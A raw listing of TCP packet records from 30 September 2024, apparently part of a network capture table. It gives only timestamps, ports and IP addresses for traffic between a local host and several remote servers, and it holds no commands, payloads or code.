Sep 30, 2024 12:20:49.851816893 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.851824999 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.851831913 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.851840019 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.851847887 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.851948023 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.851955891 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.851963997 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.851972103 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.851979971 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.851988077 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.851994991 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.852003098 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.852072954 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.852081060 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.852088928 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.852097034 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.852104902 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.852113008 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.852128029 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.852134943 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.852166891 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.852175951 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.852209091 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.852216959 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.852257967 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.852273941 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.852376938 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.852385998 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.852394104 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.852401972 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.852437973 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.852446079 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.852483988 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.852571964 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.852581978 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.852588892 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.852621078 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.852632999 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.852647066 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.852684021 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.852727890 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.852791071 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.852802038 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.852832079 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.852947950 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.852957964 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.853005886 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.853013992 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.853024006 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.853064060 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.853110075 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.853120089 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.853192091 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.853199959 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.853208065 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.853215933 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.853247881 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.853256941 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.853266001 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.853275061 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.853281975 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.853296041 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.853303909 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.853311062 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.853348970 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.853358030 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.853380919 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.853393078 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.853461027 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.853468895 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.853478909 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.853487015 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.853494883 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.853564024 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.853571892 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.853579998 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.853588104 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.853595018 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.853656054 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.853665113 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.853673935 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.853682041 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.853689909 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.853698015 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.853713036 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.853720903 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.853734970 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.853741884 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.853874922 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.854039907 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.854135036 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.854142904 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.854151011 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.854159117 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.854166985 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.854175091 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.854182959 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.854191065 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.854204893 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.854212999 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.854221106 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.854228973 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.854237080 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.854244947 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.854259968 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.854266882 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.854270935 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.854278088 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.854285955 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.854293108 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.854307890 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.854315996 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.854393005 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.854418993 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.854427099 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.854435921 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.854485989 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.854495049 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.854572058 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.854579926 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.854624033 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.854631901 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.854674101 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.854713917 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.854765892 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.854773998 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.854805946 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.854829073 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.854850054 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.854918003 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.854926109 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.854933977 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.855005026 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.855014086 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.855022907 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.855037928 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.855096102 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.855103970 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.855140924 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.855149031 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.855187893 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.855195045 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.855238914 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.855247021 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.855279922 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.855355024 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.855398893 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.855402946 CEST	443	49833	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:49.855449915 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.855503082 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.855513096 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.855570078 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.855578899 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.855587959 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.855601072 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.855695963 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.855705023 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.855748892 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.855757952 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.855767012 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.855779886 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.855935097 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.855942965 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.855951071 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.855958939 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.855967999 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.855976105 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.855983019 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.855990887 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.855998993 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.856005907 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.856014013 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.856020927 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.856077909 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.856086016 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.856093884 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.856101990 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.856108904 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.856117010 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.856125116 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.856132030 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.856141090 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.856178045 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.856185913 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.856194019 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.856218100 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.856225967 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.856234074 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.856241941 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.856302023 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.856309891 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.856318951 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.856327057 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.856434107 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.856442928 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.856451035 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.856458902 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.856466055 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.856632948 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.856640100 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.856652975 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.856661081 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.856668949 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.856769085 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.856776953 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.856785059 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.856791973 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.856800079 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.856812000 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.856889963 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.856898069 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.856904984 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.856913090 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.856925011 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.856933117 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.856945992 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.856952906 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.856961012 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.856969118 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.856980085 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.856987000 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.857028008 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.857034922 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.857043028 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.857050896 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.857074022 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.857080936 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.857161999 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.857211113 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.857255936 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.857264042 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.857323885 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.857347012 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.857382059 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.857419968 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.857497931 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.857506990 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.857534885 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.857588053 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.857621908 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.857683897 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.857763052 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.857770920 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.857795954 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.857825994 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.857856989 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.857865095 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.857914925 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.857923031 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.857959032 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.857966900 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.858027935 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.858036995 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.858069897 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.858144999 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.858154058 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.858182907 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.858251095 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.858261108 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.858334064 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.858342886 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.858436108 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.858443975 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.858516932 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.858525038 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.858558893 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.858604908 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.858647108 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.858675003 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.858762980 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.858772039 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.858800888 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.858886003 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.858894110 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.858902931 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.859018087 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.859025002 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.859086990 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.859110117 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.859160900 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.859189034 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.900823116 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.932734966 CEST	49834	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:49.932785034 CEST	443	49834	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:49.932934046 CEST	49834	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:49.933928967 CEST	49834	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:49.933952093 CEST	443	49834	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:50.021214008 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:50.041943073 CEST	49834	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:50.053745031 CEST	49792	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:50.058614969 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:50.073658943 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:50.082278013 CEST	443	49832	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:50.082362890 CEST	49832	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:50.082387924 CEST	49832	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:50.087397099 CEST	443	49834	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:50.168122053 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:50.169504881 CEST	49792	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:50.172230005 CEST	49835	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:50.174339056 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:50.176136017 CEST	49836	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:50.176156998 CEST	443	49836	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:50.176290035 CEST	49836	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:50.177547932 CEST	49836	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:50.177560091 CEST	443	49836	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:50.179708958 CEST	5222	49835	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:50.179821014 CEST	49835	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:50.180088997 CEST	49835	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:50.180403948 CEST	49837	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:50.180447102 CEST	443	49837	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:50.180522919 CEST	49837	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:50.182024002 CEST	49837	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:50.182039976 CEST	443	49837	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:50.182718992 CEST	49838	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:50.185034037 CEST	5222	49835	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:50.187576056 CEST	80	49838	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:50.187657118 CEST	49838	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:50.187882900 CEST	49838	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:50.192789078 CEST	80	49838	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:50.192838907 CEST	49838	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:50.197247982 CEST	443	49833	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:50.197324038 CEST	49833	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:50.197345972 CEST	49833	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:50.197613955 CEST	80	49838	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:50.265201092 CEST	5222	49792	139.144.164.103	192.168.2.5
